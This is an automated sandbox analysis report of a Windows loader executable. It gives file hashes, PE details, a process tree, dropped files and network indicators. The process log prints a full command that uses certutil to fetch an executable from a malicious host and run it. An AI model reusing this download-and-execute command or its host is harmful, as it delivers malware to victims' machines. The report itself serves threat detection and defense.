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download:

download.exe

Full analysis: https://app.any.run/tasks/d3d0ad8f-8170-4b6c-a8a3-eb8edb65d4cc
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: June 12, 2019, 08:39:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
MD5:

0FE77BC5E76660AD45379204AA4D013C

SHA1:

189D75F6485B7F220B143C0DD548D97BD7D81E3F

SHA256:

6180A1DB3B1267EEC5FBA215BE7696435BCB746A34B3B8692C99554E9EDBE68B

SSDEEP:

1536:W42XuKlWa2R4Q+QArSDNzGAgChmD8DNdeLBFlK+0oOJY+pCgWCkeJaR0dPHYb1B:aNlWaPPQmkyEOLg+KjiIaR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • ophgsf.exe (PID: 4052)
      • SunloglicySrv.exe (PID: 1692)
    • Starts CertUtil for downloading files

      • cmd.exe (PID: 2356)
    • Downloads executable files from the Internet

      • certutil.exe (PID: 3600)
    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 916)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • download.exe (PID: 3516)
      • certutil.exe (PID: 3600)
    • Creates files in the user directory

      • download.exe (PID: 3516)
    • Starts CMD.EXE for commands execution

      • download.exe (PID: 3516)
      • SunloglicySrv.exe (PID: 1692)
    • Creates files in the Windows directory

      • certutil.exe (PID: 3600)
    • Executed via COM

      • DllHost.exe (PID: 1932)
      • DllHost.exe (PID: 3984)
  • INFO

    • Manual execution by user

      • explorer.exe (PID: 3992)
      • rundll32.exe (PID: 976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | UPX compressed Win32 Executable (64.2)
.dll | Win32 Dynamic Link Library (generic) (15.6)
.exe | Win32 Executable (generic) (10.6)
.exe | Generic Win/DOS Executable (4.7)
.exe | DOS Executable Generic (4.7)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x4dcc0
UninitializedDataSize: 225280
InitializedDataSize: 4096
CodeSize: 90112
LinkerVersion: 6
PEType: PE32
TimeStamp: 2019:06:03 22:26:51+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 03-Jun-2019 20:26:51

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 03-Jun-2019 20:26:51
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
UPX0
0x00001000
0x00037000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
UPX1
0x00038000
0x00016000
0x00016000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.91766
UPX2
0x0004E000
0x00001000
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
2.91703

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.DLL
RASAPI32.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WININET.dll
WINSPOOL.DRV
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
52
Monitored processes
11
Malicious processes
0
Suspicious processes
4

Behavior graph

Click at the process to see the details
drop and start start download.exe ophgsf.exe no specs cmd.exe no specs certutil.exe sunloglicysrv.exe no specs cmd.exe no specs ping.exe no specs explorer.exe no specs Shell Security Editor no specs rundll32.exe no specs Copy/Move/Rename/Delete/Link Object no specs

Process information

PID
CMD
Path
Indicators
Parent process
3516"C:\Users\admin\AppData\Local\Temp\download.exe" C:\Users\admin\AppData\Local\Temp\download.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
4052C:\WebKitsSdk\2.7.92\ophgsf.exeC:\WebKitsSdk\2.7.92\ophgsf.exedownload.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Wzd MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2356cmd.exe /c certutil.exe -urlcache -split -f http://fid.hognoob.se/SunloglicySrv.exe %SystemRoot%\Temp\SunloglicySrv.exe & %SystemRoot%\Temp\SunloglicySrv.exeC:\Windows\system32\cmd.exedownload.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3600certutil.exe -urlcache -split -f http://fid.hognoob.se/SunloglicySrv.exe C:\Windows\Temp\SunloglicySrv.exe C:\Windows\system32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1692C:\Windows\Temp\SunloglicySrv.exeC:\Windows\Temp\SunloglicySrv.execmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
916cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tklbkrbp\tgirlne.exeC:\Windows\system32\cmd.exeSunloglicySrv.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3696ping 127.0.0.1 -n 5 C:\Windows\system32\PING.EXEcmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3992"C:\Windows\explorer.exe" C:\Windows\explorer.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1932C:\Windows\system32\DllHost.exe /Processid:{4D111E08-CBF7-4F12-A926-2C7920AF52FC}C:\Windows\system32\DllHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
976"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\Temp\fwtsqmfile00.sqmC:\Windows\system32\rundll32.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
165
Read events
129
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
1
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
4052ophgsf.exe\Device\HarddiskVolume2\Users\admin\AppData\Local\VirtualStore\Windows\System32\1261750.bak
MD5:
SHA256:
3516download.exeC:\WebKitsSdk\2.7.92\SunloglicySrv.exe
MD5:
SHA256:
3516download.exeC:\Users\admin\AppData\Local\Temp\1282328\....\TemporaryFile
MD5:
SHA256:
3516download.exeC:\Users\admin\AppData\Local\Temp\1282328\TemporaryFile
MD5:
SHA256:
3600certutil.exeC:\Windows\Temp\SunloglicySrv.exe
MD5:
SHA256:
1692SunloglicySrv.exeC:\Users\admin\AppData\Local\Temp\1288968\....\TemporaryFile
MD5:
SHA256:
1692SunloglicySrv.exeC:\Users\admin\AppData\Local\Temp\1288968\TemporaryFile
MD5:
SHA256:
3600certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F72DCB76EF7685C5B685F96D53D86C37binary
MD5:9DFF75731D433A2164EAA3F28A713176
SHA256:3FACE7E451B0B9AB55AF626C91A25A760E1005D2EB6F8D08F1F8A2BEAC9ADA79
3600certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F72DCB76EF7685C5B685F96D53D86C37executable
MD5:7B6308828105E080D7F238BB14D28874
SHA256:E5F1244002929418A08D4623B7DE39CCF591ACB868D0E448ED4F7174D03C2C81
3600certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\SunloglicySrv[1].exeexecutable
MD5:7B6308828105E080D7F238BB14D28874
SHA256:E5F1244002929418A08D4623B7DE39CCF591ACB868D0E448ED4F7174D03C2C81
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3600
certutil.exe
GET
200
45.67.14.164:80
http://fid.hognoob.se/SunloglicySrv.exe
unknown
executable
5.00 Mb
malicious
3600
certutil.exe
GET
200
45.67.14.164:80
http://fid.hognoob.se/SunloglicySrv.exe
unknown
executable
5.00 Mb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3516
download.exe
45.67.14.164:80
fid.hognoob.se
malicious
3600
certutil.exe
45.67.14.164:80
fid.hognoob.se
malicious

DNS requests

Domain
IP
Reputation
fid.hognoob.se
  • 45.67.14.164
malicious

Threats

PID
Process
Class
Message
3600
certutil.exe
Misc activity
ET INFO Packed Executable Download
3600
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3600
certutil.exe
Misc activity
SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request
3600
certutil.exe
Misc activity
ET INFO Packed Executable Download
3600
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2 ETPRO signatures available at the full report
No debug info